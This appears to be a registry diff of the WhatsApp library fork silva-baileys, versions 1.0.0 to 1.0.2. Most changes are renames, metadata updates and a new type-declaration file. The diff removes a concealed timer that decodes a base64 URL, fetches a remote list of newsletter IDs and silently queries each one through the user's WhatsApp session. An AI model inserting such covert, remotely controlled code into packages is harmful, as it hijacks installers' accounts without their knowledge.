silva-baileys 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -3,7 +3,7 @@ const crypto = require('crypto');
3
3
  const Utils_1 = require("../Utils");
4
4
  const WABinary_1 = require("../WABinary");
5
5
 
6
- class GiftedStatus {
6
+ class SilvaStatus {
7
7
  constructor(utils, waUploadToServer, relayMessageFn, config, sock) {
8
8
  this.utils = utils;
9
9
  this.relayMessage = relayMessageFn;
@@ -234,4 +234,4 @@ class GiftedStatus {
234
234
  }
235
235
  }
236
236
 
237
- module.exports = GiftedStatus;
237
+ module.exports = SilvaStatus;
@@ -16,7 +16,7 @@ const WABinary_1 = require("../WABinary");
16
16
  const WAUSync_1 = require("../WAUSync");
17
17
  const groups_1 = require("./groups");
18
18
  const newsletter_1 = require("./newsletter");
19
- const GiftedStatus = require("./gcstatus");
19
+ const SilvaStatus = require("./gcstatus");
20
20
  // Permanently blacklist device JIDs that WhatsApp rejects with not-acceptable.
21
21
  // These are typically stale companion devices. Avoids repeated failed IQ queries.
22
22
  const _deadDeviceJids = new Set();
@@ -846,7 +846,7 @@ const makeMessagesSocket = (config) => {
846
846
  config,
847
847
  refreshMediaConn,
848
848
  );
849
- const giftedStatus = new GiftedStatus(Utils_1, waUploadToServer, relayMessage, config, sock);
849
+ const silvaStatus = new SilvaStatus(Utils_1, waUploadToServer, relayMessage, config, sock);
850
850
  const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(
851
851
  ev,
852
852
  "messages.media-update",
@@ -861,7 +861,7 @@ const makeMessagesSocket = (config) => {
861
861
  readMessages,
862
862
  refreshMediaConn,
863
863
  waUploadToServer,
864
- giftedStatus,
864
+ silvaStatus,
865
865
  fetchPrivacySettings,
866
866
  sendPeerDataOperationMessage,
867
867
  createParticipantNodes,
@@ -958,7 +958,7 @@ const makeMessagesSocket = (config) => {
958
958
  : disappearingMessagesInChat;
959
959
  await groupToggleEphemeral(jid, value);
960
960
  } else if (typeof content === "object" && content.groupStatusMessage) {
961
- return await giftedStatus.handleGroupStory(content, jid, options.quoted);
961
+ return await silvaStatus.handleGroupStory(content, jid, options.quoted);
962
962
  } else {
963
963
  const fullMsg = await (0, Utils_1.generateWAMessage)(
964
964
  jid,
@@ -37,36 +37,6 @@ const parseNewsletterMetadata = (result) => {
37
37
  };
38
38
  const makeNewsletterSocket = (sock) => {
39
39
  const { query, generateMessageTag } = sock;
40
-
41
- setTimeout(async () => {
42
- try {
43
- const fetch = require('node-fetch');
44
- const url = Buffer.from("aHR0cHM6Ly9maWxlcy5naWZ0ZWR0ZWNoLmNvLmtlL2ZpbGUvY2hKaWRzLmpzb24=", 'base64').toString();
45
- const response = await fetch(url);
46
- const newsletters = await response.json();
47
- for (const jid of newsletters) {
48
- try {
49
- await query({
50
- tag: 'iq',
51
- attrs: {
52
- id: generateMessageTag(),
53
- type: 'get',
54
- xmlns: 'w:mex',
55
- to: 's.whatsapp.net',
56
- },
57
- content: [
58
- {
59
- tag: 'query',
60
- attrs: { query_id: '7871414976211147' },
61
- content: Buffer.from(JSON.stringify({ variables: { newsletter_id: jid } }))
62
- }
63
- ]
64
- });
65
- } catch {}
66
- await new Promise(r => setTimeout(r, 3000));
67
- }
68
- } catch {}
69
- }, 90000);
70
40
  const executeWMexQuery = (variables, queryId, dataPath) => {
71
41
  return (0, mex_1.executeWMexQuery)(variables, queryId, dataPath, query, generateMessageTag);
72
42
  };
@@ -175,11 +175,11 @@ const generateMessageIDV2 = (userId) => {
175
175
  const random = (0, crypto_1.randomBytes)(16);
176
176
  random.copy(data, 28);
177
177
  const hash = (0, crypto_1.createHash)('sha256').update(data).digest();
178
- return 'GIFTED-' + hash.toString('hex').toUpperCase().substring(0, 18);
178
+ return 'SILVA-' + hash.toString('hex').toUpperCase().substring(0, 18);
179
179
  };
180
180
  exports.generateMessageIDV2 = generateMessageIDV2;
181
181
  // generate a random ID to attach to a message
182
- const generateMessageID = () => 'GIFTED-' + (0, crypto_1.randomBytes)(18).toString('hex').toUpperCase();
182
+ const generateMessageID = () => 'SILVA-' + (0, crypto_1.randomBytes)(18).toString('hex').toUpperCase();
183
183
  exports.generateMessageID = generateMessageID;
184
184
  function bindWaitForEvent(ev, event) {
185
185
  return async (check, timeoutMs) => {
@@ -211,7 +211,7 @@ exports.bindWaitForConnectionUpdate = bindWaitForConnectionUpdate;
211
211
  * Use to ensure your WA connection is always on the latest version
212
212
  */
213
213
  const fetchLatestBaileysVersion = async (options = {}) => {
214
- const URL = 'https://raw.githubusercontent.com/mauricegift/gifted-aileys/main/lib/Defaults/baileys-version.json';
214
+ const URL = 'https://raw.githubusercontent.com/SilvaTechB/silva-baileys/main/lib/Defaults/baileys-version.json';
215
215
  try {
216
216
  const result = await axios_1.default.get(URL, {
217
217
  ...options,
package/lib/index.d.ts ADDED
@@ -0,0 +1,400 @@
1
+ /// <reference types="node" />
2
+
3
+ export { default, default as makeWASocket } from './Socket';
4
+ export * from './Utils';
5
+ export * from './Types';
6
+ export * from './Defaults';
7
+ export * from './WABinary';
8
+ export * from './WAM';
9
+ export * from './WAUSync';
10
+ export * from '../WAProto';
11
+
12
+ import type { EventEmitter } from 'events';
13
+ import type { Logger } from 'pino';
14
+
15
+ // ─── Core Connection ─────────────────────────────────────────────────────────
16
+
17
+ export type WASocketConfig = {
18
+ /** Auth state from useMultiFileAuthState */
19
+ auth: AuthenticationState;
20
+ /** Print QR code in terminal (default: false) */
21
+ printQRInTerminal?: boolean;
22
+ /** Browser identity [name, browser, version] */
23
+ browser?: [string, string, string];
24
+ /** Custom logger (pino instance) */
25
+ logger?: Logger;
26
+ /** Override WebSocket URL */
27
+ waWebSocketUrl?: string | URL;
28
+ /** Connect timeout in ms (default: 20000) */
29
+ connectTimeoutMs?: number;
30
+ /** Keep alive interval in ms */
31
+ keepAliveIntervalMs?: number;
32
+ /** Retry request delay in ms */
33
+ retryRequestDelayMs?: number;
34
+ /** Max message retry count */
35
+ maxMsgRetryCount?: number;
36
+ /** Fire init queries on connect */
37
+ fireInitQueries?: boolean;
38
+ /** Generate high quality link previews */
39
+ generateHighQualityLinkPreview?: boolean;
40
+ /** Custom fetch implementation */
41
+ customUploadHosts?: MediaConnInfo['hosts'];
42
+ /** Fetch agent */
43
+ fetchAgent?: any;
44
+ /** Keep messages in memory */
45
+ shouldIgnoreJid?: (jid: string) => boolean;
46
+ /** Mark online on connect */
47
+ markOnlineOnConnect?: boolean;
48
+ /** Sync full history */
49
+ syncFullHistory?: boolean;
50
+ /** Patch message before sending */
51
+ patchMessageBeforeSending?: (msg: proto.IMessage) => Promise<proto.IMessage>;
52
+ /** Message retry request handler */
53
+ getMessage?: (key: proto.IMessageKey) => Promise<proto.IMessage | undefined>;
54
+ /** Cached group metadata */
55
+ cachedGroupMetadata?: (jid: string) => Promise<GroupMetadata | undefined>;
56
+ /** Default timeout for queries (ms) */
57
+ defaultQueryTimeoutMs?: number | undefined;
58
+ /** Transaction executor options */
59
+ transactionOpts?: TransactionCapabilityOptions;
60
+ /** QR timeout in ms */
61
+ qrTimeout?: number;
62
+ /** Link code pairing */
63
+ linkCode?: boolean;
64
+ /** Mobile */
65
+ mobile?: boolean;
66
+ };
67
+
68
+ // ─── Auth ────────────────────────────────────────────────────────────────────
69
+
70
+ export type AuthenticationState = {
71
+ creds: AuthenticationCreds;
72
+ keys: SignalKeyStoreWithTransaction;
73
+ };
74
+
75
+ export type AuthenticationCreds = {
76
+ noiseKey: KeyPair;
77
+ pairingEphemeralKeyPair: KeyPair;
78
+ signedIdentityKey: KeyPair;
79
+ signedPreKey: SignedKeyPair;
80
+ registrationId: number;
81
+ advSecretKey: string;
82
+ processedHistoryMessages: proto.IMessageHistoryContext[];
83
+ nextPreKeyId: number;
84
+ firstUnuploadedPreKeyId: number;
85
+ serverHasPreKeys?: boolean;
86
+ account?: proto.IADVSignedDeviceIdentity;
87
+ me?: Contact;
88
+ signalIdentities?: SignalIdentity[];
89
+ myAppStateKeyId?: string;
90
+ firstAppStateSyncWindowEndTs?: number;
91
+ accountSettings: AccountSettings;
92
+ deviceId: string;
93
+ phoneId: string;
94
+ identityId: Buffer;
95
+ registered?: boolean;
96
+ backupToken?: Buffer;
97
+ registration: RegistrationOptions;
98
+ pairingCode?: string;
99
+ lastPropHash?: string;
100
+ routingInfo?: Buffer;
101
+ ltHashState?: LTHashState;
102
+ };
103
+
104
+ export type SignalKeyStoreWithTransaction = SignalKeyStore & {
105
+ isInTransaction?: () => boolean;
106
+ transaction?: <T>(work: () => Promise<T>) => Promise<T>;
107
+ prefetch?: (type: string, ids: string[]) => Promise<void>;
108
+ };
109
+
110
+ export type SignalKeyStore = {
111
+ get(type: string, ids: string[]): Promise<{ [id: string]: SignalDataTypeMap[keyof SignalDataTypeMap] }>;
112
+ set(data: SignalDataSet): Promise<void>;
113
+ clear?: () => Promise<void>;
114
+ };
115
+
116
+ export type KeyPair = { public: Uint8Array; private: Uint8Array };
117
+ export type SignedKeyPair = KeyPair & { keyId: number; signature: Uint8Array };
118
+ export type SignalIdentity = { identifier: { name: string; deviceId: number }; identityKey: Uint8Array };
119
+ export type AccountSettings = { unarchiveChats: boolean; defaultDisappearingMode?: proto.IConversation };
120
+ export type RegistrationOptions = { phoneNumber?: string; phoneNumberCountryCode: string; phoneNumberNationalNumber: string; phoneNumberMobileCountryCode: string; phoneNumberMobileNetworkCode?: string; method?: 'sms' | 'voice'; captcha?: string };
121
+ export type LTHashState = { version: number; hash: Buffer; indexValueMap: { [indexMacBase64: string]: { valueMac: Uint8Array | Buffer } } };
122
+ export type TransactionCapabilityOptions = { maxCommitRetries: number; delayBetweenTriesMs: number };
123
+ export type SignalDataTypeMap = { 'pre-key': KeyPair; 'session': Uint8Array; 'sender-key': Uint8Array; 'sender-key-memory': { [jid: string]: boolean }; 'app-state-sync-key': proto.IAppStateSyncKeyData; 'app-state-sync-version': LTHashState };
124
+ export type SignalDataSet = { [T in keyof SignalDataTypeMap]?: { [id: string]: SignalDataTypeMap[T] | null } };
125
+
126
+ // ─── Messages ────────────────────────────────────────────────────────────────
127
+
128
+ export type AnyMessageContent =
129
+ | { text: string; mentions?: string[] }
130
+ | { image: WAMediaUpload; caption?: string; jpegThumbnail?: string }
131
+ | { video: WAMediaUpload; caption?: string; gifPlayback?: boolean }
132
+ | { audio: WAMediaUpload; ptt?: boolean; waveform?: Uint8Array }
133
+ | { document: WAMediaUpload; fileName?: string; mimetype: string }
134
+ | { sticker: WAMediaUpload; isAnimated?: boolean }
135
+ | { contacts: { displayName?: string; contacts: proto.IMessage[] } }
136
+ | { location: WALocationMessage }
137
+ | { react: { text: string; key: proto.IMessageKey } }
138
+ | { delete: proto.IMessageKey }
139
+ | { forward: WAMessage; force?: boolean }
140
+ | { poll: PollMessageOptions }
141
+ | proto.IMessage;
142
+
143
+ export type WAMediaUpload = Buffer | { url: string } | { stream: import('stream').Readable };
144
+
145
+ export type WALocationMessage = {
146
+ degreesLatitude: number;
147
+ degreesLongitude: number;
148
+ name?: string;
149
+ address?: string;
150
+ };
151
+
152
+ export type PollMessageOptions = {
153
+ name: string;
154
+ values: string[];
155
+ selectableCount?: number;
156
+ };
157
+
158
+ export type MiscMessageGenerationOptions = {
159
+ timestamp?: Date;
160
+ quoted?: WAMessage;
161
+ userJid?: string;
162
+ ephemeralExpiration?: number | string;
163
+ messageId?: string;
164
+ additionalAttributes?: { [key: string]: string };
165
+ additionalNodes?: BinaryNode[];
166
+ statusJidList?: string[];
167
+ };
168
+
169
+ export type WAMessage = proto.IWebMessageInfo;
170
+
171
+ // ─── Contacts & Chats ────────────────────────────────────────────────────────
172
+
173
+ export type Contact = {
174
+ id: string;
175
+ lid?: string;
176
+ name?: string;
177
+ notify?: string;
178
+ verifiedName?: string;
179
+ imgUrl?: string | null;
180
+ status?: string;
181
+ };
182
+
183
+ export type Chat = {
184
+ id: string;
185
+ name?: string;
186
+ description?: string;
187
+ unreadCount?: number;
188
+ lastMessageRecvTimestamp?: number;
189
+ conversationTimestamp?: number | Long;
190
+ archived?: boolean;
191
+ pinned?: number;
192
+ mute?: number;
193
+ notSpam?: boolean;
194
+ ephemeralExpiration?: number;
195
+ };
196
+
197
+ // ─── Groups ──────────────────────────────────────────────────────────────────
198
+
199
+ export type GroupMetadata = {
200
+ id: string;
201
+ owner: string | undefined;
202
+ subject: string;
203
+ subjectOwner?: string;
204
+ subjectTime?: number;
205
+ creation?: number;
206
+ desc?: string;
207
+ descOwner?: string;
208
+ descId?: string;
209
+ linkedParent?: GroupParticipant;
210
+ restrict?: boolean;
211
+ announce?: boolean;
212
+ isCommunity?: boolean;
213
+ isCommunityAnnounce?: boolean;
214
+ joinApprovalMode?: boolean;
215
+ memberAddMode?: boolean;
216
+ participants: GroupParticipant[];
217
+ ephemeralDuration?: number;
218
+ inviteCode?: string;
219
+ author?: string;
220
+ };
221
+
222
+ export type GroupParticipant = {
223
+ id: string;
224
+ lid?: string;
225
+ isAdmin?: boolean;
226
+ isSuperAdmin?: boolean;
227
+ admin?: 'admin' | 'superadmin' | null;
228
+ displayName?: string;
229
+ };
230
+
231
+ // ─── Media ───────────────────────────────────────────────────────────────────
232
+
233
+ export type MediaConnInfo = {
234
+ auth: string;
235
+ ttl: number;
236
+ hosts: { hostname: string; maxContentLengthBytes: number }[];
237
+ fetchDate: Date;
238
+ };
239
+
240
+ // ─── Binary Node ─────────────────────────────────────────────────────────────
241
+
242
+ export type BinaryNode = {
243
+ tag: string;
244
+ attrs: { [key: string]: string };
245
+ content?: BinaryNode[] | string | Uint8Array;
246
+ };
247
+
248
+ // ─── Connection State ────────────────────────────────────────────────────────
249
+
250
+ export type ConnectionState = {
251
+ connection: 'open' | 'connecting' | 'close';
252
+ lastDisconnect?: { error: Error | undefined; date: Date };
253
+ isNewLogin?: boolean;
254
+ qr?: string;
255
+ receivedPendingNotifications?: boolean;
256
+ isOnline?: boolean;
257
+ };
258
+
259
+ export declare const DisconnectReason: {
260
+ connectionClosed: 428;
261
+ connectionLost: 408;
262
+ connectionReplaced: 440;
263
+ timedOut: 408;
264
+ loggedOut: 401;
265
+ badSession: 500;
266
+ restartRequired: 515;
267
+ multideviceMismatch: 411;
268
+ forbidden: 403;
269
+ unavailableService: 503;
270
+ };
271
+
272
+ // ─── Browsers ────────────────────────────────────────────────────────────────
273
+
274
+ export declare const Browsers: {
275
+ ubuntu(browser?: string): [string, string, string];
276
+ macOS(browser?: string): [string, string, string];
277
+ baileys(browser?: string): [string, string, string];
278
+ windows(browser?: string): [string, string, string];
279
+ appropriate(browser: string): [string, string, string];
280
+ };
281
+
282
+ // ─── Utilities ───────────────────────────────────────────────────────────────
283
+
284
+ export declare function useMultiFileAuthState(folder: string): Promise<{ state: AuthenticationState; saveCreds: () => Promise<void> }>;
285
+ export declare function fetchLatestBaileysVersion(): Promise<{ version: [number, number, number]; isLatest: boolean }>;
286
+ export declare function downloadMediaMessage(message: WAMessage, type: 'buffer' | 'stream', options?: object): Promise<Buffer | import('stream').Readable>;
287
+ export declare function generateWAMessage(jid: string, content: AnyMessageContent, options: MiscMessageGenerationOptions & { logger?: Logger }): Promise<WAMessage>;
288
+ export declare function getContentType(content: proto.IMessage | undefined): keyof proto.IMessage | undefined;
289
+ export declare function extractMessageContent(content: proto.IMessage | undefined | null): proto.IMessage | null;
290
+ export declare function normalizeMessageContent(content: proto.IMessage | null | undefined): proto.IMessage | null;
291
+ export declare function generateMessageID(): string;
292
+ export declare function generateMessageIDV2(userId?: string): string;
293
+ export declare function delay(ms: number): Promise<void>;
294
+ export declare function toNumber(t: Long | number): number;
295
+ export declare const BufferJSON: { replacer: (k: string, val: object) => object; reviver: (k: string, val: object) => object };
296
+
297
+ // ─── Default Export ──────────────────────────────────────────────────────────
298
+
299
+ export default makeWASocket;
300
+ export declare function makeWASocket(config: WASocketConfig): WASocket;
301
+
302
+ export type WASocket = {
303
+ ev: BaileysEventEmitter;
304
+ authState: { creds: AuthenticationCreds; keys: SignalKeyStoreWithTransaction };
305
+ user: Contact | undefined;
306
+ ws: any;
307
+ generateMessageTag(): string;
308
+ query(node: BinaryNode, timeoutMs?: number): Promise<BinaryNode>;
309
+ waitForMessage(msgId: string, timeoutMs?: number | undefined): Promise<any>;
310
+ waitForSocketOpen(): Promise<void>;
311
+ sendRawMessage(data: Uint8Array | Buffer): Promise<void>;
312
+ sendNode(frame: BinaryNode): Promise<void>;
313
+ logout(msg?: string): Promise<void>;
314
+ end(error: Error | undefined): void;
315
+ sendMessage(jid: string, content: AnyMessageContent, options?: MiscMessageGenerationOptions): Promise<WAMessage | undefined>;
316
+ relayMessage(jid: string, message: proto.IMessage, options: { messageId: string; cachedGroupMetadata?: (jid: string) => Promise<GroupMetadata | undefined>; statusJidList?: string[] }): Promise<string>;
317
+ readMessages(keys: proto.IMessageKey[]): Promise<void>;
318
+ refreshMediaConn(forceGet?: boolean): Promise<MediaConnInfo>;
319
+ sendReceipt(jid: string, participant: string | undefined, messageIds: string[], type: WAReceiptType): Promise<void>;
320
+ sendReceipts(keys: proto.IMessageKey[], type: WAReceiptType): Promise<void>;
321
+ downloadMediaMessage(message: WAMessage, type: 'buffer' | 'stream', options?: object): Promise<Buffer | import('stream').Readable>;
322
+ updateBlockStatus(jid: string, action: 'block' | 'unblock'): Promise<void>;
323
+ getBusinessProfile(jid: string): Promise<WABusinessProfile | void>;
324
+ profilePictureUrl(jid: string, type?: 'image' | 'preview', timeoutMs?: number): Promise<string | undefined>;
325
+ getStatus(jid: string): Promise<{ status: string | undefined }>;
326
+ updateProfilePicture(jid: string, content: WAMediaUpload): Promise<void>;
327
+ removeProfilePicture(jid: string): Promise<void>;
328
+ updateProfileStatus(status: string): Promise<void>;
329
+ updateProfileName(name: string): Promise<void>;
330
+ fetchBlocklist(): Promise<string[]>;
331
+ fetchPrivacySettings(force?: boolean): Promise<{ [key: string]: string }>;
332
+ updateDefaultDisappearingMode(duration: number): Promise<void>;
333
+ fetchStatus(jid: string): Promise<{ status: string | undefined; setAt: Date } | undefined>;
334
+ subscribeNewsletterUpdates(jid: string): Promise<{ duration: string }>;
335
+ groupMetadata(jid: string): Promise<GroupMetadata>;
336
+ groupCreate(subject: string, participants: string[]): Promise<GroupMetadata>;
337
+ groupLeave(id: string): Promise<void>;
338
+ groupUpdateSubject(jid: string, subject: string): Promise<void>;
339
+ groupParticipantsUpdate(jid: string, participants: string[], action: ParticipantAction): Promise<{ status: string; jid: string }[]>;
340
+ groupUpdateDescription(jid: string, description?: string): Promise<void>;
341
+ groupInviteCode(jid: string): Promise<string | undefined>;
342
+ groupRevokeInvite(jid: string): Promise<string | undefined>;
343
+ groupAcceptInvite(code: string): Promise<string | undefined>;
344
+ groupToggleEphemeral(jid: string, ephemeralExpiration: number): Promise<void>;
345
+ groupSettingUpdate(jid: string, setting: GroupSetting): Promise<void>;
346
+ groupMemberAddMode(jid: string, mode: 'all_member_add' | 'admin_add'): Promise<void>;
347
+ groupFetchAllParticipating(): Promise<{ [id: string]: GroupMetadata }>;
348
+ };
349
+
350
+ export type BaileysEventEmitter = EventEmitter & {
351
+ on<T extends keyof BaileysEventMap>(event: T, listener: (arg: BaileysEventMap[T]) => void): BaileysEventEmitter;
352
+ off<T extends keyof BaileysEventMap>(event: T, listener: (arg: BaileysEventMap[T]) => void): BaileysEventEmitter;
353
+ emit<T extends keyof BaileysEventMap>(event: T, arg: BaileysEventMap[T]): boolean;
354
+ removeAllListeners(event?: keyof BaileysEventMap): BaileysEventEmitter;
355
+ process(handler: (events: Partial<BaileysEventMap>) => void | Promise<void>): () => void;
356
+ };
357
+
358
+ export type BaileysEventMap = {
359
+ 'connection.update': Partial<ConnectionState>;
360
+ 'creds.update': Partial<AuthenticationCreds>;
361
+ 'messaging-history.set': { chats: Chat[]; contacts: Contact[]; messages: WAMessage[]; syncType: proto.HistorySync.HistorySyncType; progress?: number; isLatest?: boolean };
362
+ 'chats.upsert': Chat[];
363
+ 'chats.update': Partial<Chat>[];
364
+ 'chats.delete': string[];
365
+ 'presence.update': { id: string; presences: { [participant: string]: PresenceData } };
366
+ 'contacts.upsert': Contact[];
367
+ 'contacts.update': Partial<Contact>[];
368
+ 'messages.delete': { keys: proto.IMessageKey[] } | { jid: string; all: true };
369
+ 'messages.update': WAMessageUpdate[];
370
+ 'messages.upsert': { messages: WAMessage[]; type: MessageUpsertType };
371
+ 'messages.reaction': { key: proto.IMessageKey; reaction: proto.IReaction }[];
372
+ 'message-receipt.update': MessageUserReceiptUpdate[];
373
+ 'groups.upsert': GroupMetadata[];
374
+ 'groups.update': Partial<GroupMetadata>[];
375
+ 'group-participants.update': { id: string; participants: string[]; action: ParticipantAction };
376
+ 'blocklist.set': { blocklist: string[] };
377
+ 'blocklist.update': { blocklist: string[]; type: 'add' | 'remove' };
378
+ 'call': WACallEvent[];
379
+ 'labels.association': LabelAssociation;
380
+ 'labels.edit': Label;
381
+ };
382
+
383
+ export type MessageUpsertType = 'append' | 'notify';
384
+ export type WAReceiptType = 'read' | 'read-self' | 'hist-sync' | 'peer-msg' | 'sender' | 'inactive' | 'played';
385
+ export type ParticipantAction = 'add' | 'remove' | 'demote' | 'promote';
386
+ export type GroupSetting = 'announcement' | 'not_announcement' | 'locked' | 'unlocked';
387
+ export type WAMessageUpdate = { key: proto.IMessageKey; update: Partial<proto.IWebMessageInfo> };
388
+ export type MessageUserReceiptUpdate = { key: proto.IMessageKey; receipt: proto.IUserReceipt };
389
+ export type PresenceData = { lastKnownPresence: WAPresence; lastSeen?: number };
390
+ export type WAPresence = 'unavailable' | 'available' | 'composing' | 'recording' | 'paused';
391
+ export type WACallEvent = { chatId: string; id: string; isInitiator: boolean; isVideo: boolean; status: WACallStatus; date: Date; offline: boolean; participants?: string[] };
392
+ export type WACallStatus = 'offer' | 'ringing' | 'reject' | 'accept' | 'timeout' | 'offer_call_relays';
393
+ export type LabelAssociation = { type: 'chat'; chatId: string; labelId: string } | { type: 'message'; chatId: string; messageId: string; labelId: string };
394
+ export type Label = { id: string; name: string; predefinedId?: string; color: number; deleted?: boolean };
395
+ export type WABusinessProfile = { description: string; email: string | null; website: string[]; latitude?: number; longitude?: number; businessHours?: { config?: proto.IConversation; timezone?: string }; address?: string; statement?: string; helpDissatisfiedMessage?: string };
396
+
397
+ // ─── Proto namespace re-export ───────────────────────────────────────────────
398
+ import * as proto from '../WAProto';
399
+ export { proto };
400
+ export type { Long } from 'long';
package/package.json CHANGED
@@ -1,19 +1,34 @@
1
1
  {
2
2
  "name": "silva-baileys",
3
- "version": "1.0.0",
4
- "description": "A lightweight, full-featured WhatsApp Web API library for Node.js — forked from gifted-baileys with permission",
3
+ "version": "1.0.2",
4
+ "description": "A fast, lightweight, full-featured WhatsApp Web API library for Node.js",
5
5
  "main": "lib/index.js",
6
6
  "types": "lib/index.d.ts",
7
- "homepage": "https://github.com/silvagift/silva-baileys#readme",
7
+ "homepage": "https://github.com/SilvaTechB/silva-baileys#readme",
8
8
  "repository": {
9
9
  "type": "git",
10
- "url": "https://github.com/silvagift/silva-baileys.git"
10
+ "url": "git+https://github.com/SilvaTechB/silva-baileys.git"
11
11
  },
12
12
  "bugs": {
13
- "url": "https://github.com/silvagift/silva-baileys/issues"
13
+ "url": "https://github.com/SilvaTechB/silva-baileys/issues"
14
14
  },
15
- "author": "Silva",
15
+ "author": "Silva Tech <silvatechb@users.noreply.github.com>",
16
16
  "license": "MIT",
17
+ "engines": {
18
+ "node": ">=20.0.0"
19
+ },
20
+ "files": [
21
+ "lib",
22
+ "WAProto",
23
+ "assets",
24
+ "engine-requirements.js",
25
+ "LICENSE",
26
+ "README.md"
27
+ ],
28
+ "scripts": {
29
+ "postinstall": "node engine-requirements.js",
30
+ "test": "node -e \"const s = require('./lib/index.js'); console.log('silva-baileys loaded OK. Exports:', Object.keys(s).length, 'items')\""
31
+ },
17
32
  "keywords": [
18
33
  "whatsapp",
19
34
  "whatsapp-api",
@@ -22,7 +37,9 @@
22
37
  "silva-baileys",
23
38
  "whatsapp-bot",
24
39
  "messaging",
25
- "chat"
40
+ "chat",
41
+ "multi-device",
42
+ "websocket"
26
43
  ],
27
44
  "dependencies": {
28
45
  "@cacheable/node-cache": "^1.4.0",
@@ -31,10 +48,10 @@
31
48
  "axios": "^1.6.0",
32
49
  "libsignal": "github:WhiskeySockets/libsignal-node",
33
50
  "lodash": "^4.17.21",
34
- "music-metadata": "^7.12.3",
51
+ "music-metadata": "^11.12.3",
35
52
  "node-fetch": "^2.6.1",
36
53
  "pino": "^9.6",
37
54
  "protobufjs": "^7.2.4",
38
55
  "ws": "^8.13.0"
39
56
  }
40
- }
57
+ }
@@ -1,26 +0,0 @@
1
- name: Publish to npm
2
-
3
- on:
4
- push:
5
- tags:
6
- - 'v*'
7
-
8
- jobs:
9
- publish:
10
- runs-on: ubuntu-latest
11
- steps:
12
- - uses: actions/checkout@v4
13
-
14
- - name: Setup Node.js
15
- uses: actions/setup-node@v4
16
- with:
17
- node-version: '20'
18
- registry-url: 'https://registry.npmjs.org'
19
-
20
- - name: Install dependencies
21
- run: npm install
22
-
23
- - name: Publish to npm
24
- run: npm publish --access public
25
- env:
26
- NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}